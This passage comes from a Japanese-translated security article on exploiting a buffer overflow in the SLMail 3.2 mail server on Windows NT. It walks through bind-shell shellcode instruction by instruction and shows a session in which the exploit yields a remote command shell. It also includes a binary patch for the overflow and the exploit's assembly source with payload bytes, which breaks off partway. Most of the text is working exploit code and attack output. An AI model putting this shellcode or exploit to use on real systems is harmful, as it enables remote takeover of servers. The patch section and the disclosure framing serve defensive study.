ここでGetProcAddressを呼んで、ebxは既にLoadLibraryから値を得たので、あとはlow byteを編集するだけだ。そして、ediにアドレスを溜めて、残りの機能をループさせる。この時点でediにjump tableがある。つまりediから各機能を非直接的に呼ぶことができるようになったわけだ。例:call dword ptr [edi-0c]

:00000176 32C0                    xor al, al
:00000178 AC lodsb
:00000179 84C0 test al, al
:0000017B 75F9 jne 00000176
:0000017D B310 mov bl, 10
:0000017F 56 push esi
:00000180 FF13 call dword ptr [ebx]
:00000182 8BD0 mov edx, eax
:00000184 FC cld
:00000185 33C9 xor ecx, ecx
:00000187 B106 mov cl, 06
:00000189 32C0 xor al, al
:0000018B AC lodsb
:0000018C 84C0 test al, al
:0000018E 75F9 jne 00000189
:00000190 52 push edx
:00000191 51 push ecx
:00000192 56 push esi
:00000193 52 push edx
:00000194 B30C mov bl, 0C
:00000196 FF13 call dword ptr [ebx]
:00000198 AB stosd
:00000199 59 pop ecx
:0000019A 5A pop edx
:0000019B E2EC loop 00000189

ソケット関数を含むところまでjump tableを拡張していることを除けば、これは単なる初期コードの繰り返しだ。

:0000019D 83C605                  add esi, 00000005
:000001A0 33C0 xor eax, eax
:000001A2 50 push eax
:000001A3 40 inc eax
:000001A4 50 push eax
:000001A5 40 inc eax
:000001A6 50 push eax
:000001A7 FF57E8 call [edi-18]
:000001AA 93 xchg eax,ebx

ここでSOCK_STREAMとAF_INETとnullをプロトコルにプッシュする。そしてソケット関数をcallする。

注:WSAStartupを呼び出す必要はない。

それから、ソケット構造体を指すためにesiを設定して、ebxのソケット処理手順から戻り値を貯めておく。そうすると、後続の関数によって破壊さ れることがない。

:000001AB 6A10                    push 00000010
:000001AD 56 push esi
:000001AE 53 push ebx
:000001AF FF57EC call [edi-14]

☆これは単に、ソケットとソケット構造体をパラメータとしてプッシュするまたは、バインドするために呼び出す。

:000001B2 6A02                    push 00000002
:000001B4 53 push ebx
:000001B5 FF57F0 call [edi-10]

さて、ソケットハンドルをパラメータとしてcallしてみよう。

:000001B8 33C0                    xor eax, eax
:000001BA 57 push edi
:000001BB 50 push eax
:000001BC B00C mov al, 0C
:000001BE AB stosd
:000001BF 58 pop eax
:000001C0 AB stosd
:000001C1 40 inc eax
:000001C2 AB stosd
:000001C3 5F pop edi
:000001C4 48 dec eax
:000001C5 50 push eax
:000001C6 57 push edi
:000001C7 56 push esi
:000001C8 AD lodsd
:000001C9 56 push esi
:000001CA FF57C0 call [edi-40]

最初のCreatePipeの呼び出しで、ediにSECURITY_ATTRIBUTES構造を作り、戻ったハンドルは受け継がれないように特定 する。esiは、呼び出しから戻ってきたread/writeハンドルを受取る。

:000001CD 48                      dec eax
:000001CE 50 push eax
:000001CF 57 push edi
:000001D0 AD lodsd
:000001D1 56 push esi
:000001D2 AD lodsd
:000001D3 56 push esi
:000001D4 FF57C0 call [edi-40]

2番目のCreatePipeの呼び出しで、read/writeハンドルは再びesiに蓄積される。

:000001D7 48                      dec eax
:000001D8 B044 mov al, 44
:000001DA 8907 mov dword ptr [edi], eax
:000001DC 57 push edi
:000001DD FF57C4 call [edi-3C]

GetStartupInfoを呼び出し、サイズが設定されたediにその構造体が蓄積される。その構造体は、編集される必要がある。

:000001E0 33C0                    xor eax, eax
:000001E2 8B46F4 mov eax, dword ptr [esi-0C]
:000001E5 89473C mov dword ptr [edi+3C], eax
:000001E8 894740 mov dword ptr [edi+40], eax
:000001EB 8B06 mov eax, dword ptr [esi]
:000001ED 894738 mov dword ptr [edi+38], eax
:000001F0 33C0 xor eax, eax
:000001F2 66B80101 mov ax, 0101
:000001F6 89472C mov dword ptr [edi+2C], eax
:000001F9 57 push edi
:000001FA 57 push edi
:000001FB 33C0 xor eax, eax
:000001FD 50 push eax
:000001FE 50 push eax
:000001FF 50 push eax
:00000200 40 inc eax
:00000201 50 push eax
:00000202 48 dec eax
:00000203 50 push eax
:00000204 50 push eax
:00000205 AD lodsd
:00000206 56 push esi
:00000207 33C0 xor eax, eax
:00000209 50 push eax
:0000020A FF57C8 call [edi-38]

というわけで、例えば、stosdを使ってediを編集したりして、このコードを自由に改良してみて欲しい。この時、私は、ただこれを動作するよう にするだけで、サイズのことは特に心配しない。ところで、一体ここで何が起きているのだろうか?

CreateProcessを呼ぶ前に、startupinfoの構造を編集しているのである。

StdOutputとStdErrorを、最初に作られたパイプのwrite endと取り替えた。そして、2番目に作られたパイプのread handleとStdInputを取り替えた。設定したフラグ値は、STARTF_USESHOWWINDOW+ STARTF_USESTDHANDLESで、ShowWindowの値をSW_HIDEに設定する。esiは、"cmd.exe"を指していて、 CreateProcessをcallする。

:0000020D FF76F0                  push [esi-10]
:00000210 FF57CC call [edi-34]
:00000213 FF76FC push [esi-04]
:00000216 FF57CC call [edi-34]

Closehandleは、Stdhandlesで使われた最初のreadと2番目のwriteを閉じるためにcallされる。

:00000219 48                      dec eax
:0000021A 50 push eax
:0000021B 50 push eax
:0000021C 53 push ebx
:0000021D FF57F4 call [edi-0C]
:00000220 8BD8 mov ebx, eax

それでは、接続のためにacceptとwaitを呼び出しましょう。私達はebxに戻ってきたハンドルを蓄積している。

:00000222 33C0                    xor eax, eax
:00000224 B404 mov ah, 04
:00000226 50 push eax
:00000227 C1E804 shr eax, 04
:0000022A 50 push eax
:0000022B FF57D4 call [edi-2C]
:0000022E 8BF0 mov esi, eax

ここに、GlobalAllocと1024バイトのバッファーがGMEM_FIXED+GMEM_ZEROINITをプッシュしながら作成される。 GMEM_FIXED+GMEM_ZEROINITは、私達がesiに設定したハンドルを戻す。

:00000230 33C0                    xor eax, eax
:00000232 8BC8 mov ecx, eax
:00000234 B504 mov ch, 04
:00000236 50 push eax
:00000237 50 push eax
:00000238 57 push edi
:00000239 51 push ecx
:0000023A 50 push eax
:0000023B FF77A8 push [edi-58]
:0000023E FF57D0 call [edi-30]
:00000241 833F01 cmp dword ptr [edi], 00000001
:00000244 7C22 jl 00000268

それでは、肝心なものを得ましょう。これは、パイプのread end(StdOutput/StdError)の中に何かデータがあるかどうかを見る為にPeekNamedPipeを呼び出すものである。もしデータ がなければ、ユーザからのインプットを待つので、次のreadfile/send functionをスキップする。ediは読んだバイト数を蓄積し、[edi-58]は、パイプのread endのハンドルである。

:00000246 33C0                    xor eax, eax
:00000248 50 push eax
:00000249 57 push edi
:0000024A FF37 push dword ptr [edi]
:0000024C 56 push esi
:0000024D FF77A8 push [edi-58]
:00000250 FF57DC call [edi-24]
:00000253 0BC0 or eax, eax
:00000255 742F je 00000286

ReadFileを呼び出して、作成したバッファーを、パイプのread-endからのデータで埋めましょう。そして、最初に呼び出した PeekNamePipeからbytesreadパラメータをプッシュする。もし、機能しなかったら、例:コマンドプロンプトが出てしまったら、シェル コードの最後にジャンプして、ExitProcessをcallしよう。そして、それはslmailのプロセスをkillする。

:00000257 33C0                    xor eax, eax
:00000259 50 push eax
:0000025A FF37 push dword ptr [edi]
:0000025C 56 push esi
:0000025D 53 push ebx
:0000025E FF57F8 call [edi-08]

Now we call send to fire the data from our buffer off to the connected user.

:00000261 6A50                    push 00000050
:00000263 FF57E0 call [edi-20]
:00000266 EBC8 jmp 00000230

Sleepを呼んで、PeekNamedPipeへ戻りましょう。

:00000268 33C0                    xor eax, eax
:0000026A 50 push eax
:0000026B B404 mov ah, 04
:0000026D 50 push eax
:0000026E 56 push esi
:0000026F 53 push ebx
:00000270 FF57FC call [edi-04]

readパイプにデータが何もなかった時は、このポイントに辿り着く。だから、recvを呼んで、ユーザからinputを受取る。

:00000273 57                      push edi
:00000274 33C9 xor ecx, ecx
:00000276 51 push ecx
:00000277 50 push eax
:00000278 56 push esi
:00000279 FF77AC push [edi-54]
:0000027C FF57D8 call [edi-28]

私達は、パイプのwrite end(StdInput)をプッシュする。そして、ユーザからのバッファー送信ファイルWriteFileを呼び出す。私達にはできる。

:0000027F 6A50                    push 00000050
:00000281 FF57E0 call [edi-20]
:00000284 EBAA jmp 00000230

Sleepを再び呼んで、PeekNamedPipeに戻る。

:00000286 50                      push eax
:00000287 FF57E4 call [edi-1C]
:0000028A 90 nop

シェルは存在しているので、ExitProcessを呼んで、今まで散らかしてきたものを片付けましょう。それで、もうフルコントロールができるよ うになった。

最後のセクションに入る前に、ターゲットの実行権を編集する上で、どのように実行するのか、その例を簡単にお見せする。

Ownership

E:\exploits>slxploit supermax.gen.nz 8376 1234
SLMail (3.2.3113) remote.
by Barnaby Jack AKA dark spyrit <dspyrit@beavuh.org>
usage: slxploit <host> <port> <port to bind shell>
e.g. - slxploit host.com 27 1234
waiting for response....
220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here
sent.. spawn connection now.

Trying 192.168.10.3...
Connected to supermax.gen.nz.
Escape character is '^]'.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.

E:\Program Files\SLmail\SYSTEM>
E:\Program Files\SLmail\SYSTEM>at
The service has not been started.

E:\Program Files\SLmail\SYSTEM>net start schedule

The Schedule service is starting.
The Schedule service was started successfully.

E:\Program Files\SLmail\SYSTEM>time
The current time is: 23:49:36.36
Enter the new time:

E:\Program Files\SLmail\SYSTEM>at 23:51:00 net start slmail
Added a new job with job ID = 0

E:\Program Files\SLmail\SYSTEM>net view
Server Name Remark
-------------------------------------------------------------------------------
\\SUPERMAX
The command completed successfully.

E:\Program Files\SLmail\SYSTEM>net send supermax beavuh 99.
The message was successfully sent to SUPERMAX.

E:\Program Files\SLmail\SYSTEM>exit
exit
Connection closed by foreign host.

たくさんの選択肢がある。ftpでファイルを作成できるし、bo2kをダウンロードしたり、NTのftpコンソールも使用できる。e.g. ftp -s:file host.

Section3: The Remedy

この文書中で、セクション3は最も重要であり、単に弱点を防ぐだけのものではない。想像できるように、独自のコードを追加することによって果てしな く可能性が広がる。

私はPEファイルフォーマットで、Matt Peitreksが書いた"Windows95 System Programming Secrets"という文書を勧める。もしくは、以下のMicrosoftのサイト。http: //msdn.microsoft.com/library/specs/msdn_pecoff.htm

ここで少し、仮説について考えてみる。

大きな穴が、リモートシステムアクセスをする上で、ほとんどのNTサーバの弱点として見つかっている。Microsoftはパッチをリリースする前 に1週間ほど苦労している。丁度その時、いくつかの大企業は、何もすることがなく、アタックの被害に遭わないように祈るしかなかった。これは、たった2、 3か月前に起こったことだ。でも、解決策はある。自分でパッチをすればいい。自分のコードを追加するには、主に3つの方法がある。

  1. セクション内の使われていない場所にコードを追加する
  2. 最後のセクションのサイズを増やす
  3. 新しいセクションを追加する

1番目の方法は、私達がこれから使うテクニックだ。2番目の例を見るには、私のtrojan netstat(以下のサイト)を見てください。http://www.rootkit.com in the near future.

あなたの独自のセクションを追加するのは、少なくとも今からやろうとする作業では必要ない。だから、この文書内ではそのテクニックについて説明しな い。

さて、これから追加するコードについて考えてみる必要がある。ここにはいくつかのオプションがある:

  1. 独自のstring length routineを追加して、その長さによって、エラーメッセージをプリントアウトする。そして、いやな機能をスキップする。
  2. 独自のstring length routineを追加して、その長さによって、バッファーの最初にnullを置く。そうするとプログラムは、そこにはインプットがないと考え、標準の 'syntax error' メッセージを返す。
  3. Replace the offending strcpy function with a bounds checking version - i.e.:do what they should have done in the first place.

これから私達が取るアプローチは明らかである。というのは、1番目のオプションは込み入りすぎていて、2番目のは緻密ではないということが明らかで あるので、3番目のオプションを取る。

この場合、lstrcpynAは私達のtarget import tableの中にある。(もしそうでなければ、LoadLibraryとGetProcAddressを使って、シェルコードで示したのと同じテクニック を使う。)

PE Dumpまたはdumpbinを使用して、slmail.exeのセクションテーブルをダンプする。もし、以前にPEハンドラーを使ったことがないのであ れば、少し説明をする。

Section Table
01 .text VirtSize: 0003F99B VirtAddr: 00001000
raw data offs: 00001000 raw data size: 00040000
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #'s: 00000000
characteristics: 60000020
CODE MEM_EXECUTE MEM_READ

私達が作業するセクションは、コードがおいてあるテキストセクションである。ここで、バーチャルサイズ(コードの実サイズ)が、raw データサイズ(実際に取られたスペースの量)よりもいくらか小さいということが確認できる:

0x40000 - 0x3f99b = 0x665

それは、1.6kの余分なスペースがあるので、やりたいことはなんでもできる。

なぜ、このような余分なスペースがあるのか?

それは、通常コンパイラはセクションをつなげるために、サイズをラウンドアップするからだ。それはとても便利だ。

hex editorを使って、0x4099b(virtual size+raw data offset)のアドレスにジャンプする。そうすると、大量の、実際には1.6kのnull bytesがあることがわかる。ここは、コードをダンプするのに完璧な場所である。しかし、始める前に、、、

私達は、コードのためにVirtual Sizeを増やす必要がある。利用できる最大限のサイズまで増やしても大丈夫でしょう。更に、フラグを編集する必要がある。ダンプを見てわかるように、テ キストのセクションは定義されたコードであり、読み/実行できる。

値は以下のようになる:

IMAGE_SCN_CNT_CODE      equ       000000020h  
IMAGE_SCN_MEM_EXECUTE equ 020000000h
IMAGE_SCN_MEM_READ equ 040000000h

To get the final value we OR each of the flags, which results in 060000020h.

しかし、もし私達がコードスペースにデータを書き込み、ページの間違い避けたいと思うなら、セクションを書き込み可能にする必要がある。その必要は ないかもしれないが、フラグを変更するのは特に問題ない。

IMAGE_SCN_MEM_WRITE     equ       080000000h

So we OR this value with 060000020h and we get 0E0000020h. This is the new value we will add to the exe.

hex editorに戻って、この変更を確定する。テキストセクションのVirtual Sizeの値を探すために、単にテキストを探してみてください。次の値が問題の原因となっている。

000001D0  00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00   .........text...
000001E0 9B F9 03 00 <====

これを最大値に設定するために、rawデータサイズをリプレイスする。

000001E0  00 00 04 00

そして、フラグも変更する。

000001D0  00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00   .........text...
000001E0 9B F9 03 00 00 10 00 00-00 00 04 00 00 10 00 00 ................
000001F0 00 00 00 00 00 00 00 00-00 00 00 00 20 00 00 60 <=====

コードスペースに書き込めるようにするために、新しい値とリプレイスする。

000001F0  00 00 00 00 00 00 00 00-00 00 00 00 20 00 00 E0

私達はすばやくPE Dumpの変更を確認する。そして、実行コードに辿り着くことができる。

Section Table
01 .text VirtSize: 00040000 VirtAddr: 00001000
raw data offs: 00001000 raw data size: 00040000
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #'s: 00000000
characteristics: E0000020
CODE MEM_EXECUTE MEM_READ MEM_WRITE

バーチャルサイズとrawデータサイズが同じになったことがわかる。そして、書き込み可能なフラグがあることもわかる。今何をする必要があるのかと いうと、自分のコードにジャンプする場所を見つけることだ。

004364AE                 push    edi
004364AF push eax ; we jump here.
004364B0 push esi
004364B1 call ds:lstrcpyA

strcpy の呼び出しを削除して、私達のコードの'push eax'にジャンプする。私達はコードがRVA (relative virtual address) 0x4099bにあることを知っているので、ジャンプができる。私達はtasmのジャンプをアセンブルすることができる。

jmp $+(04099bh-0364afh)

(RVA of our code - RVA of current location)

または、デバッガ−から直接できる。

確定しましょう。コードは以下の通り。

:004364AA 8B742478                mov esi, dword ptr [esp+78]
:004364AE 57 push edi
:004364AF E9E7A40000 jmp 0044099B ;jump to our code

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004409A9(U)
|
:004364B4 59 pop ecx ;restore ecx on return
:004364B5 90 nop
:004364B6 90 nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004364AF(U)
|
:0044099B 51 push ecx ;preserve ecx
:0044099C 52 push edx ;preserve edx
:0044099D E800000000 call 004409A2

* Referenced by a CALL at Address:
|:0044099D
|
:004409A2 5A pop edx ;get eip
:004409A3 81EAA2090400 sub edx, 000409A2 ;get image base
:004409A9 81C264110400 add edx, 00041164 ;point to strcpyn
:004409AF 33C9 xor ecx, ecx
:004409B1 B160 mov cl, 60 ;allow 96 bytes
:004409B3 51 push ecx
:004409B4 50 push eax ;our input
:004409B5 56 push esi ;buffer
:004409B6 FF12 call dword ptr [edx] ;call strcpyn
:004409B8 5A pop edx ;restore edx
:004409B9 E9F65AFFFF jmp 004364B4 ;back to proggie.

Yeah, I know, W32Dasm - but hey, its fast and easy for showing code dumps:)

基本的にスタックポインターは戦術であるので、それにあまり関わる必要はない。

これは私達の問題を解決するはずなので、チェックしてみましょう。

220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here
expn <10 or so lines of x's>

Connection closed by foreign host.

slmail processが死んでいる。

ここには別のoverflowがある。このソフトウェアは衝撃的だ。それでは、これも直してみましょう。

00404bb1        mov     esi, eax
00404bb3 push edi
00404bb4 push ecx
00404bb5 call [KERNEL32!lstrcpy]

ediはインプット、ecxはバッファーを含んでいる。

私達の初期のmodification(0x409be)のすぐ後に、自分のコードを追加する。そして、このstrcpyの呼び出しを殺し、 'push edi'のコードにジャンプする。

:00404BB1 8BF0                    mov esi, eax
:00404BB3 E906BE0300 jmp 004409BE ;jump to our code

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004409E0(U)
|
:00404BB8 90 nop
:00404BB9 90 nop
:00404BBA 90 nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404BB3(U)
|
:004409BE 90 nop
:004409BF 52 push edx ;preserve edx
:004409C0 E800000000 call 004409C5

* Referenced by a CALL at Address:
|:004409C0
|
:004409C5 5A pop edx ;get eip
:004409C6 81EAC5090400 sub edx, 000409C5 ;get image base
:004409CC 81C264110400 add edx, 00041164 ;address for strcpyn
:004409D2 33C0 xor eax, eax
:004409D4 B060 mov al, 60 ;allow 96 byes
:004409D6 50 push eax
:004409D7 57 push edi ;input
:004409D8 51 push ecx ;buffer
:004409D9 FF12 call dword ptr [edx] ;call strcpyn
:004409DB 5A pop edx ;restore edx
:004409DC C6476000 mov [edi+60], 00 ;cut the goddamn
;input short,
;incase there is
;even more overflows
:004409E0 E9D341FCFF jmp 00404BB8 ;return to the prog.

今度は・・・

220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here
expn xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxx
550 Unable to find list 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'.
quit
221 supermax.gen.nz Service Closing
Connection closed by foreign host.

これで終わり。15分の作業、そして、私達はおそろしく深刻な弱点を直した。

ソースがない?問題ない。

この簡易パッチのためのバイナリは、以下のサイトから利用できる。http://www.beavuh.org, しかし、メーカーが出しているパッチを真剣に勧める。

これは、弱点を利用されるのを防ぐが、このソフトウェアにはたくさんの穴がありすぎる。そして間違いなく、これを読んだ後では、他の弱点を利用され ていることでしょう。

結論:

Windows 9x/NT has a had a relatively easy ride as far as buffer overflows go -a change is coming. Although some "big" software has been affected as of late, the limitations of the payload and the system dependency limited the wide-scale fear.

It's time to recognize.

実は、私がこの文書で3rd partyのソフトウェアを選択したのは、機会が少なかったからではない。信用してほしい。
コードとレジスタを操作できれば、あなたは必ず誰よりも勝ることができる。
私達の方法を悪用する人と戦って、オープンソースの流れと、full disclosureを支持してください。それはよいことだ。

1つの未来に2つの選択肢がある。彼らに対抗してください。そうしないと、彼らが私達を滅ぼす。-Propagandhi.

謝辞:

neophyte, Greg Hoglund, c33, sacX, tree, casper, ripper, ryan, luny,
sycotic, blitz, marc, Interrupt, ambient empire, DilDog, the beavuh &
mulysa crew, the eEye team, the rootkit crew, attrition, w00w00, L0pht,
ADM, Phrack, Security Focus, technotronic, HNN, Packet Storm Security..
and everyone else I forgot.

コード:

以下にアセンブラのソース・コードと、移植向きCのフォーマットexploitのためのシェルコードを掲載する。

<++> P55/Win32-overflows/slxploit.asm !e7b4ebd0
;-------(code)-------------------------------------------------------------
; This is just a shell from an old exploit of mine, so the code is somewhat
; dodgy - and no real error checking.
; Live with it.
;
; The binary is available at http://www.beavuh.org.
;
; To assemble:
;
; tasm32 -ml slxploit.asm
; tlink32 -Tpe -c -x sxlploit.obj ,,, import32
;
; TASM 5 required!
;
; dark spyrit / barnaby jack <dspyrit@beavuh.org>

.386p
locals
jumps
.model flat, stdcall

extrn GetCommandLineA:PROC
extrn GetStdHandle:PROC
extrn WriteConsoleA:PROC
extrn ExitProcess:PROC
extrn WSAStartup:PROC
extrn connect:PROC
extrn send:PROC
extrn recv:PROC
extrn WSACleanup:PROC
extrn gethostbyname:PROC
extrn htons:PROC
extrn socket:PROC
extrn inet_addr:PROC
extrn closesocket:PROC

.data
sploit_length equ 851

sploit:
db 065h, 078h, 070h, 06eh, 020h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 0ebh, 007h, 090h, 0aah, 01ch, 09ch, 077h, 090h, 090h, 090h
db 033h, 0c0h, 050h, 0f7h, 0d0h, 050h, 059h, 0f2h, 0afh, 059h, 0b1h, 0c6h
db 08bh, 0c7h, 048h, 080h, 030h, 099h, 0e2h, 0fah, 033h, 0f6h, 096h, 0bbh
db 099h, 010h, 011h, 044h, 0c1h, 0ebh, 008h, 056h, 0ffh, 013h, 08bh, 0d0h
db 0fch, 033h, 0c9h, 0b1h, 00bh, 049h, 032h, 0c0h, 0ach, 084h, 0c0h, 075h
db 0f9h, 052h, 051h, 056h, 052h, 0b3h, 00ch, 0ffh, 013h, 0abh, 059h, 05ah
db 0e2h, 0ech, 032h, 0c0h, 0ach, 084h, 0c0h, 075h, 0f9h, 0b3h, 010h, 056h
db 0ffh, 013h, 08bh, 0d0h, 0fch, 033h, 0c9h, 0b1h, 006h, 032h, 0c0h, 0ach
db 084h, 0c0h, 075h, 0f9h, 052h, 051h, 056h, 052h, 0b3h, 00ch, 0ffh, 013h
db 0abh, 059h, 05ah, 0e2h, 0ech, 083h, 0c6h, 005h, 033h, 0c0h, 050h, 040h
db 050h, 040h, 050h, 0ffh, 057h, 0e8h, 093h, 06ah, 010h, 056h, 053h, 0ffh
db 057h, 0ech, 06ah, 002h, 053h, 0ffh, 057h, 0f0h, 033h, 0c0h, 057h, 050h
db 0b0h, 00ch, 0abh, 058h, 0abh, 040h, 0abh, 05fh, 048h, 050h, 057h, 056h
db 0adh, 056h, 0ffh, 057h, 0c0h, 048h, 050h, 057h, 0adh, 056h, 0adh, 056h
db 0ffh, 057h, 0c0h, 048h, 0b0h, 044h, 089h, 007h, 057h, 0ffh, 057h, 0c4h
db 033h, 0c0h, 08bh, 046h, 0f4h, 089h, 047h, 03ch, 089h, 047h, 040h, 08bh
db 006h, 089h, 047h, 038h, 033h, 0c0h, 066h, 0b8h, 001h, 001h, 089h, 047h
db 02ch, 057h, 057h, 033h, 0c0h, 050h, 050h, 050h, 040h, 050h, 048h, 050h
db 050h, 0adh, 056h, 033h, 0c0h, 050h, 0ffh, 057h, 0c8h, 0ffh, 076h, 0f0h
db 0ffh, 057h, 0cch, 0ffh, 076h, 0fch, 0ffh, 057h, 0cch, 048h, 050h, 050h
db 053h, 0ffh, 057h, 0f4h, 08bh, 0d8h, 033h, 0c0h, 0b4h, 004h, 050h, 0c1h
db 0e8h, 004h, 050h, 0ffh, 057h, 0d4h, 08bh, 0f0h, 033h, 0c0h, 08bh, 0c8h
db 0b5h, 004h, 050h, 050h, 057h, 051h, 050h, 0ffh, 077h, 0a8h, 0ffh, 057h
db 0d0h, 083h, 03fh, 001h, 07ch, 022h, 033h, 0c0h, 050h, 057h, 0ffh, 037h
db 056h, 0ffh, 077h, 0a8h, 0ffh, 057h, 0dch, 00bh, 0c0h, 074h, 02fh, 033h
db 0c0h, 050h, 0ffh, 037h, 056h, 053h, 0ffh, 057h, 0f8h, 06ah, 050h, 0ffh
db 057h, 0e0h, 0ebh, 0c8h, 033h, 0c0h, 050h, 0b4h, 004h, 050h, 056h, 053h
db 0ffh, 057h, 0fch, 057h, 033h, 0c9h, 051h, 050h, 056h, 0ffh, 077h, 0ach
db 0ffh, 057h, 0d8h, 06ah, 050h, 0ffh, 057h, 0e0h, 0ebh, 0aah, 050h, 0ffh
db 057h, 0e4h, 090h, 0d2h, 0dch, 0cbh, 0d7h, 0dch, 0d5h, 0aah, 0abh, 099h
db 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0f0h, 0e9h, 0fch, 099h, 0deh
db 0fch, 0edh, 0cah, 0edh, 0f8h, 0ebh, 0edh, 0ech, 0e9h, 0d0h, 0f7h, 0ffh
db 0f6h, 0d8h, 099h, 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0ebh, 0f6h
db 0fah, 0fch, 0eah, 0eah, 0d8h, 099h, 0dah, 0f5h, 0f6h, 0eah, 0fch, 0d1h
db 0f8h, 0f7h, 0fdh, 0f5h, 0fch, 099h, 0c9h, 0fch, 0fch, 0f2h, 0d7h, 0f8h
db 0f4h, 0fch, 0fdh, 0c9h, 0f0h, 0e9h, 0fch, 099h, 0deh, 0f5h, 0f6h, 0fbh
db 0f8h, 0f5h, 0d8h, 0f5h, 0f5h, 0f6h, 0fah, 099h, 0ceh, 0ebh, 0f0h, 0edh
db 0fch, 0dfh, 0f0h, 0f5h, 0fch, 099h, 0cbh, 0fch, 0f8h, 0fdh, 0dfh, 0f0h
db 0f5h, 0fch, 099h, 0cah, 0f5h, 0fch, 0fch, 0e9h, 099h, 0dch, 0e1h, 0f0h
db 0edh, 0c9h, 0ebh, 0f6h, 0fah, 0fch, 0eah, 0eah, 099h, 0ceh, 0cah, 0d6h
db 0dah, 0d2h, 0aah, 0abh, 099h, 0eah, 0f6h, 0fah, 0f2h, 0fch, 0edh, 099h
db 0fbh, 0f0h, 0f7h, 0fdh, 099h, 0f5h, 0f0h, 0eah, 0edh, 0fch, 0f7h, 099h
db 0f8h, 0fah, 0fah, 0fch, 0e9h, 0edh, 099h, 0eah, 0fch, 0f7h, 0fdh, 099h
